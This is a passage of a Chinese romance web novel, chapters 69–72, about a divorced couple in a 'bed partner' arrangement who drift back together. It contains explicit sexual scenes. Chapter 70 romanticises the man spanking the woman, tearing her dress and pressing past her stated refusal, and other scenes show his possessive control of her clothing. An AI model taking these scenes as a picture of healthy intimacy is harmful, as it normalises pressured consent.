“温大小姐,我考虑好了,我答应做你的床伴。”
第69章 “温大小姐,你今晚需要……
“很纯洁的追求者和被追求者的关系?”
“你口中的纯洁, 指的就是跟你的追求者滚到床上,还逼着人家做你的炮友??”
“宝贝,我现在对你刮目相看!!!”
温夏盯着手机, 指尖触碰屏幕, 回她:“学长自从跟你在一起,越来越大嘴巴了。”
视察完工作,温夏回到酒店正准备补觉,手机不停震动,全是梁从音发来调侃她的。
梁从音刚醒,订好了位置准备带温夏这个电灯泡去吃饭,谁知祁源说顾衍南在温夏的房间里。
她顿时清醒了, 让祁源把看到的听到的一字一句重复,眼睛里满是对八卦的执着。
手上还在啪啪啪打字——
“温夏夏你也太不厚道了吧,连我都瞒着,我又不会嘲笑你吃回头草, 怎么不理我?又滚到床上了吗?有这么让你食髓知味嘛……再上瘾也得做好安全措施啊, 不然搞出人命来, 顾大公子怕是不会由着你胡闹了……”
她怎么就胡闹了?温夏不满地抿着唇,回她:[他走了,我要补觉, 不跟你聊了。]
梁从音:[走了?怎么走了??]
温夏:[他又不是无业游民,公司有事回去了。]
公司有事是顾衍南给她的借口,实际上他回国是买房子的。
自顾自生了半天气,他也想通了, 床伴就床伴,反正她只能有他一个床伴,只能跟他一个人纠缠。
温夏的想法他很清楚, 她对他没信心,不想谈感情,原本计划着慢慢来,给她时间消化,但就她那把自己裹得严严实实的性子,他不逼她,他们之间永远不会有进展。
这段感情,从最开始就是他在强求,只是他们纠缠太长时间,让他忘记是自己一厢情愿。
如果照她说的,她想要的时候让他陪,不想要的时候他连出现都不被允许,八十岁他都复不了婚。
妥协做床伴的同时,顾衍南已经想好把她现在住的这套公寓隔壁那家买下来,明湖公馆太大了,她和小蠢狗都在家的时候不觉得孤独,现在只剩他一个人,每晚他回去,都特别空旷。
她现在肯定不愿意让他住进她家,他先住到隔壁,等她适应后再登堂入室。
打定主意,他提前回来了,打算给她一个“惊喜”。
温夏是周日晚上飞回北城的,在楼下碰到顾衍南,他手里拎着一个很大的购物袋,里面装满了菜。
他前段时间几乎每晚都会来看言言,偶尔会买好菜做给她吃。
以为他又是来给她做饭的,温夏想起他故意在学长面前揭她的老底,她挑起眼尾看他:“我吃了飞机餐,不饿。”
顾衍南掀起眼皮,扫她一眼:“嗯。”
温夏皱起眉:“言言还在诗诗那里,我明天再去接它。”她要去出差,正愁着言言该怎么办,诗诗正好回北城,便把言言接过去。
她这话的意思就是告诉他,他别想着拿言言当借口进她家。
顾衍南仍是那副不冷不热的态度:“嗯。”
温夏莫名就有点小不高兴,她冷哼了声:“我说过我们之间的炮友关系是指我有需要找你你再来,你不能无缘无故来找我,我刚下飞机快累死了,没有需求,你可以回去了。”
顾衍南淡淡看她一眼,还是:“嗯。”
温夏更气了,她真是讨厌死他这幅死样子了,跟着她她也不会让他进门的,就算他跟进去她也会把他赶出来,温夏恶狠狠地想。
剩下的一段路两人谁也不理谁,顾衍南低眸看着女人故意冷着脸不理他,眉眼浮现淡淡的笑意。
脾气太坏了,不过,偶尔闹闹小脾气,也很可爱。
他忍不住去想她知道他搬到她隔壁的反应,一定更可爱。
事实上,温夏长相和可爱根本不搭边,她不是肉肉的娃娃脸,相反,她是偏清冷古典系的长相,与可爱风背道而驰。
性格更是跟可爱俩字没半毛钱关系,旁人评价她往往都说她性子冷、边界感强,从没人说过她可爱。
但顾衍南最近这段时间越来越觉得她可爱,特别是这幅生气的样子,让他忍不住想要亲她气鼓鼓的脸蛋。
他心里百转千回的想法温夏一概不知,她沉浸在气头上,电梯门一开,她推着行李箱打开门,进去后,当着顾衍南的面正要把门给重重关上,男人突然转过身,拿出钥匙去开隔壁的门锁。
下一刻,门打开了,顾衍南拎着购物袋走进去。
手扶着门框正要关门,他挑眉看着她:“哦对了,忘了告诉你,我把这间公寓买下来了,从今天起我们就是邻居了。”
顿了下,他眯眼看着她错愕的表情,对她微微一笑:“温大小姐,还请多多关照。”
……
“砰——”
温夏用力把门关上。
越想越气,他明明可以在楼下的时候告诉她他搬到这里,非要故意惹她,太混蛋了!
顾混蛋很快就来按她家的门铃,不紧不慢,却一下接着一下,温夏想不理都不行,她踩着拖鞋气势汹汹地走过去拉开门:“再这样我举报你扰民……”
话没说完,就见他从身后拿出一束玫瑰花,送到她面前:“温大小姐,你今天的玫瑰花。”
温夏眼睛动了动,玫瑰花香扑鼻,她在海南的这几天玫瑰花每日都送,是酒店的工作人员送来的,她已经习惯每天上午收到一束玫瑰花,今天没收到,她还特意问了工作人员。
工作人员回她:“顾先生只说送两天。”
她倒不会因为他没有送花生气,只是心里多少有些不讲道理的不舒服,他自己说每天都会送,结果把今天忘了。
看着面前新鲜欲滴的玫瑰花,她还是伸手接过来,出差一趟,家里花瓶里的玫瑰花都枯萎了,正好换新的。
看在花的面子上,温夏的语气缓了缓:“谢谢你的花,还有什么事吗?没事的话我要睡觉了。”
男人一改上楼时高冷的姿态,态度特别好:“温大小姐,我做了晚餐,有你爱吃的小排骨,来我家吃点?”
“我吃过飞机餐了。”
“可是我刚才打电话问过你的学长,他说你上飞机倒头就睡。”
温夏:“……”
她确实没吃,她不喜欢吃飞机餐,说谎是因为不想让他觉得她很想吃他做的饭。
虽然他做的饭确实很合她的胃口。
“你怎么这么无聊。”她双手环胸,指责他。
顾衍南也不生气,好脾气道:“小排骨我挑了好久,很新鲜,还有你爱吃的清蒸鲈鱼,给你爱吃的菜一点面子,嗯?”
温夏确实饿了,原本打算回到家点外卖,可他就在隔壁,她点外卖会被他发现说谎,正纠结该怎么办,他就来按门铃了。
看在他态度还不错的份上,温夏给他这个面子,勉为其难道:“行吧。”
顾衍南唇角微勾:“去把花插上,我先去做饭,你等会直接来,门不关。”
“嗯。”
折返回家,温夏把花瓶里枯萎的花全都扔进垃圾桶,换上了鲜艳的玫瑰花,艳色点缀,为冷清的客厅增添勃勃生机。
她拿着手机拍了几张照片,心情好上不少,摊开行李箱收拾完才去隔壁。
顾衍南听到听到脚步声,头也没回:“你在沙发上玩一会,很快就好。”
温夏朝厨房望去,他换了身休闲服,高大挺括的背影在厨房里穿梭忙碌,让人不禁想到一个最近很火的网络词:人夫感。
她进去也帮不了什么忙,温夏便去参观他的新家,格局和她的公寓一样,两百多平,对于普通人来说空间绝对算大的,但对住惯大平层的顾大公子来说,显得有些拥挤。
他们刚结婚,没搬去男明湖公馆的那套复式公寓,加起来得有上千平,二楼有个超大的游泳池。
而这套公寓,卧室、衣帽间还有书房,就占据了很大的面积,看着像是次卧的房间被他改成了健身房,设施也不怎么齐全,只有几个沙袋和跑步机。
真是委屈顾大公子了。
吃饭的时候,温夏问他:“这房子不大,你能住得惯吗?”
顾衍南给她夹菜,淡淡道:“我没那么讲究。”
“呵。”他还不讲究,在烧钱这方面,她比他差远了。
“本来想把楼上的两套买下来打通住,但这里离你更近,”顾衍南低眸看她,“更方便为你服务。”
“……”
温夏一口饭差点喷出来,什么叫更方便为她服务?他真把自己当成卖的了?
顾衍南夹了块鱼肉送到口中,一本正经道:“我这两天认真想了想我们的关系,既然你不愿意跟我谈恋爱,只愿意和我做炮友,还是你有需求我就得过来的炮友——”
“按常理来说,深夜更容易产生欲望,但大晚上开车不安全,我想还是搬过来比较好,这样你什么时候想要我,我走两步就能到,免得等我开车赶到你家,你已经自行解决了。”
“……”
温夏被他的厚脸皮无语到了。
顾衍南似是浑然未觉,又给她夹了块小排骨,语气平淡的像是在谈论小排骨好不好吃:“我搬到这里,可以更方便伺候你,比如今晚——”
顿了下,他的眼神暗下去,声音也跟着微微沙哑:“温大小姐,你今晚需要我吗?”
第70章 “管管你那高调的前夫。……
[温大小姐, 今晚还需要我吗?]
快下班的时候,温夏收到顾衍南的短信,一打开看到这句话, 耳根不受控制地泛了点红, 指尖触碰屏幕,回:[不要,我明天要早起赶飞机。]
对面秒回:[好吧,那我接你去逛超市?]
温夏靠着椅背,纤白指尖轻点桌面,过了好一会儿才勉为其难地回复一个字:[嗯。]
自从顾衍南搬到她家隔壁,两人过上半同居的生活。
每天早上他晨跑时会顺路给她买早餐, 晚上不应酬的话就回来做饭,饭后一起遛狗,大多数时间会睡在一起,没有一次是纯睡觉——
温夏以前从来不觉得自己对这事上瘾, 可能是旷的久了, 这一个月来除了她生理期那段时间空着, 两人每晚睡前都要闹上很久,有时在她的公寓,有时在他的, 因为空间小,这两间公寓的每一个地方他们都待过。
荒唐一夜的第二天早上,她想起昨夜的事就脸红,暗暗发誓不能再这么纵欲下去, 可晚上顾衍南勾她时,她想还是及时行乐吧。
现在的状态她特别享受,但顾衍南并不满意, 每次逼问她什么时候谈恋爱被她拒绝回答,他就好在床上报复回来,使出浑身解数折腾到她哭着求饶。
即便如此,温夏也没松口,顾衍南到底没有强逼她,半开玩笑的语气说“早晚有一天你会心甘情愿复婚”,温夏便装作没有看到他眼底的落寞。
嘴上拒绝得干脆,但她偶尔也会想他们之间的关系,她不想也不敢往前,顾衍南不可能同意她后退,想来想去,她习惯性地做起缩头乌龟,刻意回避最关键的问题。
好在顾衍南没有逼着她必须正视,两人目前就保持着只谈性不谈情的关系,谁也没有打破这个平衡。
温夏坐电梯的时候遇到温砚,温砚瞥她:“这么早就走了?”
“……”温夏冲他微笑,“已经到下班的点了。”
“到点你就下班,有这么急?”温砚目光落在她雪颈的吻痕上。
温夏尴尬地拿头发挡住,顾衍南在床上本就不是温柔的风格,平时就喜欢在她身上各处烙下吻痕,昨晚她也有点上头,稍微主动了那么一点,他就跟疯狗一样,咬的她满脖子都是,早上用粉底遮了好久才勉强遮住。
但近距离盯着,根本瞒不住。
“明天一大早我要飞三亚,从音下午打了好几个电话催我过去,我得回去收拾行李,早点休息。”梁从音的婚礼定在三亚举办,温夏作为伴娘要比宾客提前过去。
温砚显然没信她的借口,不过也没拆穿她,提醒道:“你的私生活我不管,但请温副总稍微注意一点影响,我这段时间已经撞见好几波人在议论你的吻痕还有你那高调的前夫了。”
“……”
温夏眼皮一跳,尴尬地摸了摸鼻子。
顾衍南每次出现在温氏,打扮得就跟孔雀开屏一样,头发是要用发胶梳起来的,衣服是没有褶皱的,就连说话的腔调都特别装,手里一定捧着束玫瑰花,惹得办公室里的姑娘无心工作都在看他。
她说过他几次,他也不听,还说什么他就算穿T恤也能起到同样的效果,脸和身材摆在那里,没办法。
于是她就不让他来了,顾衍南当然不可能答应,最后双方妥协折中选了个方案——他下班后接她的时候再送花。
从写字楼出来,温夏下意识抬头去找车,温砚凉声提醒:“九点钟方向。”
“……”温夏先看了眼九点钟方向,看到熟悉的那辆黑色宾利后才尴尬地看向温砚,“哥,那我先走了。”
温砚睨着她:“不然我喊你回去陪我加班,你会听?”
“大哥再见!”温夏拎着包,踩着高跟鞋哒哒哒地走了。
在她距离车子还有几米的距离时,驾驶座的门推开,顾衍南捧着一束花走到她面前。
“温大小姐,你的花,今天是红山茶。”
红山茶开得正艳,花瓣如红绸层叠,男人一袭白衣黑裤,捧着艳红的花束,有种绮丽的蛊惑。
温夏把花接过来,低头轻嗅,花香浓烈馥郁,花瓣红艳似火,张扬热烈的美。
顾衍南低头,笑着看她:“喜欢吗?”
温夏很矜持:“还行。”
这是很喜欢的意思,顾衍南已经摸清楚她的口是心非,唇边勾起浅淡的弧度:“上车吧。”话落,绅士地为她拉开车门。
他要想追求女人,真是要多绅士有多绅士,送钱送花送礼物,亲自开车拉车门,脾气也好得很,怎么说也不生气,始终是宠溺温柔的语气。
幸亏她见识过他的真面目,不然很容易被骗。
可即便这样,也会偶尔被他给“骗”住。
顾衍南承认自己有伪装的嫌疑,不然他怎么可能听她的就在楼下等她,他肯定是要上去的,要让她公司所有人都知道——她是他的女人。
追求是真的,宣誓主权更是真的。
以防有不长眼的敢挖他的墙角。
这段时间,温夏已经习惯吃顾衍南做的饭了,并且习惯心安理得地使唤他做饭,根本没想着在外面吃,拉着他直奔食材区买菜。
“想吃什么?”顾衍南不觉得被她使唤有什么,反倒乐在其中。
温夏想了想,报了几个家常菜的菜名:“虾滑粉丝煲,啤酒鸭,白灼生菜,还有番茄鸡蛋汤。”
顾衍南宠溺地笑着:“温大小姐,你使唤我越来越顺手了。”
“哦,你不乐意的话我可以找别人来做。”
顾衍南眯起眼,语气危险:“你还想找谁?”
“……”随口说说,至于瞬间翻脸么?温夏白他一眼,“没谁。”
顾衍南静静地盯着她,眼神冷戾。
温夏也不高兴了,她就这么不值得他信任?她用力推了他的胸膛一下,“你挂什么脸的?你整天都在我身边,我能找谁?你会让我找谁吗?”
“不会,所以你最好不要有找其他人代替我的想法。”顾衍南的脸色缓了缓,眼神的温度还是冰凉。
温夏不想因为拌嘴这点小事跟他生气,却又被他这幅命令式的语气给气到,她冷笑:“顾大公子,你目前貌似没有这个权限吧?”
顾衍南微眯起眼,他知道她是故意这么说的,可一听到她提到别的男人他就免不得生气,哪怕那个男人只是个抽象的概念。
对,他没有这个权限,她只愿意让他做炮友。
顾衍南把购物袋往小推车里一放,推着车转身就走。
温夏:???
“你干什么?”
“回家。”
“我要吃的菜还没买呢!”
顾衍南语气幽幽:“你说得对,我只是你召之即来挥之即去的床伴而已,没有给你做饭的权限,你想吃什么自己点外卖吧。”
温夏:“……”
他闹什么脾气的?
这幅语气就跟受了大委屈的怨妇似的。
“你有这个权限好了吧,”温夏真不想吃外卖,难得哄他,“别人哪有你做的饭好吃,我不会吃别人做的饭,只吃你做的行了吧?”
她真的很少说这么腻歪的话,说着耳根不自觉红了,顾衍南见她这幅害羞的模样瞬间不生气了,他继续用温淡的语气问:“我只是床伴,就能有这么大的权限吗?”
“这不是男朋友才能有的权利吗?”
温夏怒瞪他:“你还有完没完!”
还是不愿意回应他,顾衍南掩下眼底的失落,调转小推车的方向继续挑番茄,换了个话题:“你明天几点的飞机?”
“十点半。”
“我过两天去陪你。”
他又不是闲的没事,不可能完全按照她的时间来,温夏没什么所谓道:“随你。”
“等婚礼结束,你空两天出来,我买了个游艇,带你出海玩。”
温夏皱眉:“游艇不是喜欢乱搞的男人才会买的吗?”开到海上无边无际,干什么都没人知道。
“你这是什么偏见?”顾衍南低眸看她,“夏天快要结束了,最近天气也挺好的,就当度假,嗯?”
是忙了好一阵子了,温夏想了想:“好吧。”
两人有一搭没一搭地聊着,温夏只顾着和他说话,等她注意到的时候,顾衍南已经扔了两大盒避孕套进小推车里了,正准备拿第三大盒,温夏怒瞪他:“你买这么多干嘛啊!”
顾衍南将第三盒超薄螺纹波点的扔进去:“我倒是想一盒也不买全都弄进去,你会愿意让我弄到里面?”
“我是这个意思吗?!”她明明是觉得不需要一次性买这么多的意思!
顾衍南:“以你的需求,用完这些还不快么。”说着又往里面拿了一盒凸点的,第五盒是粉色的封面,他拿在手里晃了晃,“你喜欢的蜜桃味。”
“……我说了我今晚得早点休息。”
“嗯,我们肯定可以在保质期内用完,不会浪费。”
温夏:“……”
她眼睁睁地看着他不顾她的阻挠买了七大盒,付完款,顾衍南把轻的购物袋给她:“你拎这个。”里面都是避孕套,很轻。
温夏冷哼:“我又没要买,你自己非要买的,自己拎。”
“……”顾衍南无语地看着她。
东西虽然不重,但包装盒占的体积太大不好拿,他看着女人傲娇的表情,挑了挑眉:“我就两只手,拿不下。不如你先回车里等,我打电话给周之恒,让他过来帮我拎?”
“你专程喊他来拎袋子?”
“我会给他加钱。”
“你不嫌丢人?”
“不嫌。”
温夏瞪他:“我嫌!”喊周之恒来当苦力,原因是买了太多的避孕套,这个脸温夏可丢不起。
最后她还是拎了一个购物袋。
因为这件事,她一路上都没理顾衍南,到家后把袋子往桌子上一扔,撂下句“我去洗澡”,头也不回地走进卧室。
顾衍南看着她的窈窕背影,轻轻吹了一声口哨。
这段时间,他可以说已经登堂入室了,做完饭也不见她出来,在卧室也没找到人,正想着给她打电话,听到衣帽间传来的动静。
看到站在试衣镜前的女人,那一瞬间,他的身体募地紧绷。
这段时间,她被养的丰腴不少,身材凹凸有致,那一身藏青色的旗袍将她身上的曲线完美展现出来,开叉开的很高,快要到大腿根部,充满了性的蛊惑。
上半身裹得还算严实,修身的设计把饱满圆润的柔软形状勾勒出来,裸露在外的藕臂白得像牛奶倒出来似的,叫人挪不开眼。
温夏正低头扣扣子,听到脚步声下意识抬头,本是随意一瞥,目光触到他眼神时,温夏本能地感到危险。
男人的眼神暗沉浓稠,像是看上美味的猎物,势必要撕咬饱餐一顿。
她下意识后退:“饭……饭做好了吗?”
“嗯。”他的嗓音哑得厉害,衬得更加危险了。
“这是从音让人给我送的伴娘服,我试试合不合身。”
“非常合身。”顾衍南走到她面前,一只手揽着她的腰,另一只手放在她的臀部上方。
温夏眨了眨眼:“那我换下来,你先出去,我换完就去吃饭。”
“不急,等一会。”
“等什——”
话还没说完,“啪”的一声,在安静的衣帽间格外清晰。
温夏懵了,屁股上迟来的痛感传导到神经,他刚刚居然打了她的屁股?
不是没有过,不过那都是在床上调情时轻轻扇的,刚才那下是真的打,力气还很大!肯定红了!
“你干什么?!”温夏迅速回过头怒视他。
正要理论一番,耳边响起一阵很长的“嘶——”,她的腿顿时有些凉。
反应了好一会儿,温夏才意识到——
他居然撕了她的旗袍!!!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
70-74
第71章 “你最好吃。”
“顾衍……”
最后一个怒音没发出来, 顾衍南将她的腰按在衣帽间柜台上,掰着她的下巴,俯身重重吻了下来。
异常凶猛的一个吻, 温夏没有丝毫准备, 唇齿被他轻而易举就撬开,他的舌轻而易举探进来,与她的勾缠。
温夏大脑还处于发懵状态,她好好的试着衣服,怎么突然就被打屁股连衣服都被撕了?这混蛋大白天发什么情的!饭还没吃呢!
她去推他踢他,被男人一把抓住作乱的手,双腿也被他的长腿夹住不能动弹, 整个人死死被他挟持,逼她与他唇舌交缠。
顾衍南此刻就是一头被欲望支配了大脑的原始雄兽,从看到她穿着旗袍的那刻,说好听点, 他动情了, 说粗俗点呢, 就是他直接*了。
她的身材有多好他是最清楚的,但是很少会秀,前段时间不知怎的穿起了连膝盖都遮不住的短裤, 他为这事还生了闷气,不满地指出让她不要穿这么短的裤子出门,她想秀她那双又白又长的腿就在家里秀给他看就够了,她作为副总, 穿成那样太不得体。
他一通输出,她却根本不听他的,还说他没立场管她穿长裤子还是短裤子。
这番话把顾衍南气个半死, 他是没这个权利没这个立场,但这不妨碍他生气,气得他晚饭做的都是她不爱吃的菜,晚上折磨她好久才让她如愿以偿。
短裤的事无疾而终,顾衍南想着自己要大度一点,他在国外待了这么多年,又不是封建的老古板,露就露吧,她的腿这么漂亮,偶尔秀一秀勉强能接受。
这次她居然穿这么暴露的衣服,那叉都快开到大腿根了,还要穿到婚礼上让那么多人看,这是能穿到公共场合的衣服吗?!她那个闺蜜怎么想的,她穿这身旗袍参加婚礼,不是明摆着抢风头吗?
顾衍南为自己撕坏她的旗袍找了个合理的借口,在温夏喘着粗气质问他时,他理直气壮道:“宝贝儿,你那个闺蜜才是新娘,你是去当绿叶的,你如果穿这身去,肯定会抢她的风头。”
温夏瞪着他,嗓音微微沙哑:“这旗袍又不艳,藏青色的,多适合做绿叶陪衬。”
“太显身材了,”顾衍南的薄唇湿润潋滟,哑着嗓音低哄,“乖,换一身普通的,我赔你一身新的礼服。”
“我就喜欢这套,你赔我一模一样的!”
“可以,不过只能穿给我看,”顾衍南的吻落到她耳朵上,湿润的舌尖细致地舔舐她的耳朵,嗓音危险得让人颤栗,“你要是敢穿成刚才那样去外面,我就**你。”
“你,你……”温夏又怒又恼,“你”了半天也没调好词,从他进来那刻她就察觉到危险,但也没想到他退化成原始动物了,话又浑又糙,动作也毫不温柔。
左腿被他抬起来挂在他的臂弯,他从身后抱着她调转了方向,让她面对衣柜,半命令的语气:“扶好。”
“顾衍南,我们说好今晚不*的!”她明确地告诉过他她明早要赶飞机,他也答应她不做。
顾衍南这回连借口都没找,理直气壮地耍无赖:“是说好了,但我反悔了。”
她穿成这样,他要是不*,岂不是辜负这身被他撕坏的衣服。
见她转过头来还要找他理论,顾衍南直接**,温夏瞬间嘘声,身体一抽一抽地颤动:“你……”
顾衍南轻拢慢捻,皱眉提醒,“扶好。”
“一定要*吗?”
“不然呢?”顾衍南拉着她的手,让她去感受“一定要做”的原因,感受完他的原因紧跟着去感受她的,“一定要做。”
他知道她所有的点,轻而易举就能勾得她动情,温夏知道今晚逃不过这劫,索性由着他,趴在他的肩膀上,闷声道:“那你快点,我要早点休息,明早还得赶飞机。”
“嗯。”顾衍南敷衍地应了声。
果不其然,男人在那什么时候说的话连个标点符号都不能信,在衣帽间胡来了一回不够,他抱着她在试衣镜前,让她跪在地毯上又闹了一回。
温夏差不多了,就说该吃饭了,饭都凉了,他倒是听话,抱着她去了餐厅,但这期间两人没有分开,每走一步对温夏来说都是巨大的折磨。
好不容易走到餐椅上,他抱着她直接坐了下去,那一瞬间**让她缓了好久,他的肩膀和手臂被她抓得不成样子。
饭菜都凉了,在微波炉里加热后,顾衍南亲手一口一口地喂给她吃,每喂一口,腰就要*一下。
力气不大,但特别磨人。
喂完最后一口饭,顾衍南低眸看着女人绯红的脸蛋,低低地笑出声:“温大小姐,吃饱了吗?”
温夏羞恼道:“饱了饱了,放我下来!”
“真的吗?我摸摸。”他的掌心覆上她的小腹,温夏不自觉绷紧神经,听到他在耳边点评,“嗯,鼓鼓的,看样子是饱了。”
“喂了你好多东西呢,好吃吗?”
温夏咬着牙:“好吃。”
“哪个最好吃?”他细细啃咬她的锁骨,一下一下的,“是虾滑,还是啤酒鸭——”
他的呼吸温热,喷洒在她的皮肤上,嗓音性感沙哑:“还有我,温大小姐,你觉得哪个最好吃?”
温夏的脸蛋被烫红了,她别过脸,“啤酒鸭最好吃。”
“哦?”他低低笑着,按着她的小腹不断往下,眯着眼睛直勾勾地看着她,“你确定是啤酒鸭最好吃?”
温夏脚趾蜷缩,瞪着他就是不服软。
顾衍南继续按,她曾经最多只能吃下三分之二,那已经是她的极限了,顾衍南今天是铁了心跟她较劲到底,剩下三分之一每一毫米吃的都很艰难。
最后,温夏还是败下阵来,狠狠咬住他的肩膀:“你最好吃你最好吃行了吧!”
顾衍南满意地勾了勾唇,轻哼:“这还差不多。”
温夏看他这幅得意样就来气,用力锤他的胸口:“还不出去?”
他是真想弄死她吗?
顾衍南不进也不退,而是缓慢**:“不是说我最好吃么,好吃你就多吃。”
-
“你不是说好中午就能到的吗?怎么天都黑了你才来?啊?还有我给你送的旗袍你怎么没穿?多好看多合适你的气质,我挑了好久才选中的,你居然敢不穿!”
梁从音来机场接她,一碰头就开始指责她,温夏理亏,弱弱地说了句:“临时有事耽搁了。”
“什么事?”
“公事。”
梁从音眯眼看她,显然不信:“你觉得是我瞎了眼吗?你脖子上的那片吻痕这么明显,这就是你所谓的公事?”
温夏尴尬地摸了摸脖子。
梁从音冷哼:“那我的旗袍呢,为什么不穿。”
“发生了点意外,不小心弄脏了。”这话是真的,那旗袍的命运多舛,先被撕破,然后被很多脏东西弄得不成样子,直接报废了。
梁从音仍是不信:“是顾衍南不让你穿吧?你不是说他只是炮友管不了你的事吗?你现在窝囊到穿什么衣服都没有自主权了吗?”
温夏被说的脸红,她也不知道怎么的,每次被那男人三言两语说的就顺着他来了。本就不是什么大事,而且她自己也觉得那旗袍有点太露了,很容易走光,还是低调点吧。
“好了,说说婚礼准备的怎么样了吧,”温夏岔开话题,“需要我做什么?”
梁从音瞪她一眼,大发慈悲放过她,聊起婚礼:“你只需要做……”
这场婚礼筹备了快一年才举办,原本计划着去国外的海岛上,可祁源的奶奶年纪大了,坐不了这么久的飞机,梁从音便主动提出在三亚吧。
祁源心疼她的妥协,决定去海岛度蜜月,到时候再举办一个小型的婚礼,只请关系很好的朋友。
听梁从音说起这件事时,温夏觉得她自从和祁源在一起真的变了很多,以前的梁从音是不可能在婚礼举办地这么重要的事上妥协的,现在只是说:“都是海,哪里都一样,最重要的是新郎是他。”
新郎是他。
这段良缘,温夏是两人相识的纽带,当在婚礼上,她看到站在牧师两侧的男女念着烂俗的誓词,女人念着念着眼泪直流,男人的眼眶也有点红,她下意识低头,目光在人群中搜寻那个身影。
很容易就找到了,因为顾衍南要求把他排到第一排,他跟祁源还有梁从音非亲非故的,提出这样过分的要求丝毫不脸红。
脸皮是真的厚。
他今天穿的很低调,一件深蓝色的衬衫和笔挺的西裤,跟她身上浅蓝色的礼服莫名配了个情侣款。
见她看过来,顾衍南挑了下眉毛,脸上一副得意的神情。
温夏大庭广众之下,真的好想对他翻白眼。
她忍住了,只是微微挑起眼尾。
傲慢得不行的表情。
顾衍南唇间的弧度更深。
誓词很快念完,“砰”得一声,无数的玫瑰花瓣从天而降,整座教堂仿佛变成了玫瑰花海,到处都飘着玫瑰花瓣。
温夏下意识伸手去接。
花瓣落入掌心,她下意识又看了眼顾衍南,他的眉眼笼罩着宠溺的笑意,薄唇微动,用口型说:“我爱你。”
温夏愣了片刻,眼皮动了动,没有回应,偏过头去看掀开头纱去亲新娘的新郎,看着从音满脸幸福满足的表情,她弯了弯唇,轻轻笑了下。
两人亲的有些忘我,温夏不好直视太久,只好转过头,又一次对上那道漆黑深邃的视线——
他一直在看她,等着她看过来。
“我爱你。”顾衍南用口型对她又说了一遍。
“幼稚。”温夏用口型回他。不知怎的,她莫名有点想哭。
第72章 在她心里,他到底有多糟……
婚礼过后, 温夏陷入早出晚归的忙碌生活,一边筹备着画展,一边顾着温氏的工作, 每天忙得回到家倒头就睡, 经常是顾衍南在她睡着后帮她卸妆洗澡,跟前跟后地伺候她。
念在他的服务态度实在太好,温夏没有计较他把行李都搬到她家的事。
隔壁那套公寓渐渐搬空,顾衍南彻底登堂入室,两人过上同居生活。
温夏不想让他轻易得逞,原本还想奴役他一段时间,可顾衍南的服务太周到, 她能想到的、没想到的,他都直接做了,让温夏想使唤他也无从下手。
再加上工作太忙,她无心跟他胡闹, 就随他去了。
但在名分的事上, 她始终没有松口。
她比谁都希望他不会再让她失望, 同时,她也比谁都害怕他再让她失望。
上个月,两人在床上胡闹时, 她快到云端前,他突然停下问她什么时候转正,意乱情迷中的温夏突然清醒,顾衍南从她眼中看到犹豫和退缩, 她从他的眼中看到失望和落寞。
对视几秒,谁也没有再提这个话题,顾衍南低头堵住她的唇, 她试探着回吻,本就灼热的空气更加粘稠。
事后,温夏累个半死,顾衍南给她洗澡的时候她就睡过去了,回到床上,迷迷糊糊睡了一觉,半梦半醒间去摸身侧的男人,却空无一人。
睡意猛地消散,她坐了起来,下意识看向阳台——
北城市中心的霓虹深夜不灭,男人靠在栏杆上,指间猩红明明灭灭,青白烟雾漫过他深邃的五官,整个人透着一股孤寂落寞。
那一瞬,她的心脏像被细针扎过似的,密密麻麻的疼。
他在外面抽了很久的烟,待身上烟味散的差不多才进来,从身后抱住她。
温夏嗅着他身上苦涩的烟味,觉得心里有点酸。
她知道他在想什么,在他的概念里,她不愿意再跟他有牢固的羁绊代表着她不在意他,随时可以抽身离开他。
他们离婚前,他问的最后一个问题是“你有过一一丁点的喜欢过我吗”,当时她只觉得无边的委屈,他怎么可以这么混蛋,对她的心意视而不见。
他一直觉得她不爱他。
那她到底爱不爱呢?
她认真想过很久,仍是没有结果,如果说爱,可她不像梁从音对祁源那样执着,时时刻刻要把祁源挂在嘴边,无时无刻都在和他联系,也不像阮眠对江肆那样,无条件的信任依赖,可如果不爱,为什么这么多年她无法再对别的人感兴趣?为什么她只能接受和他做亲密的事?
她想不明白,只知道她爱或者不爱,这个客体只会是顾衍南。
这段时间实在太忙,忙到温夏把三十一岁生日都忘了,大半夜正睡着觉,顾衍南硬生生把她吻醒,温夏气的正要发火,一条流光溢彩的蓝宝石项链出现在眼前,男人唇上噙着笑,低低道:“宝贝,生日快乐。”
温夏的火气就这样熄灭了,慢半拍地反应过来今天是她三十一岁的生日。
哦,三十一岁了,又长大一岁。
她已经三十一岁了。
这个不算年轻的数字让她心中泛起淡淡的惆怅,仰头看向那含笑看着自己的男人,没好气道:“你非要把我弄醒特意提醒我我又长大一岁了吗?”
顾衍南:“……”
男人无辜地看着她:“我只是想第一个跟你说生日快乐。”
温夏故意怼他:“第一个提醒我今年三十一岁了是吧?”
“……”顾衍南换上真诚的表情,“三十一岁?我还以为宝贝儿你二十一岁呢。”
甜言蜜语对她来说是无效的,温夏根本不接招,冷哼:“所以你连我今年几岁都不知道?”
顾衍南:“……”
她胡搅蛮缠起来,还是蛮让人头疼的。
“好了,别耍小孩子脾气了,看看你的礼物,喜欢吗?”顾衍南把蓝宝石项链递给她。
这段时间,他每天都要送她个小礼物,温夏收不收全凭心情,他也好脾气地惯着她,温夏看了眼璀璨的蓝宝石,个头很大,火彩耀眼,很符合她的审美。但她没有表现出来,只是淡淡道:“还行吧。”
她这幅傲慢的表情顾衍南越看越爱,忍不住凑到她柔软的嘴唇上亲了亲:“我给你戴上。”
温夏高冷地嗯了声,一副是为了给他面子才愿意戴的语气:“好吧。”
皮肤白,脖颈修长,戴再普通的项链都好看,更不要说价值八位数的蓝宝石项链,衬得她皮肤更白更清透。
“很美。”顾衍南的吻落在她的脖子上。
温夏低头,他送给她的第一个礼物就是蓝宝石项链,十几年过去了,还是蓝宝石。
像是轮回。
兜兜转转,又回到原点。
已经被喊醒,温夏没有再睡,她躺在顾衍南的怀里,两人有一下没一下地接吻,有时深,有时浅,亲着亲着,两人都有点想炫技的意思。
单纯的接吻不知道从哪一秒对视的瞬间变成鱼水之欢的缠绵。
窗外大雪纷飞。
-
因为不是整岁,温夏不愿操办,顾衍南便提议喊她的家人和朋友一起来家里吃饭,给她过生日。
来的人不多,只有温砚温诗和梁从音夫妇,哦,还有温砚新给他们找到嫂子——唐瑜,一个比温诗还要小两岁的姑娘,以及她肚子里的小侄子。
他们兄妹三人虽然关系很好,但向来各管各的,等她们知道这件事时,大哥已经领过证了,然后迅速怀上宝宝。
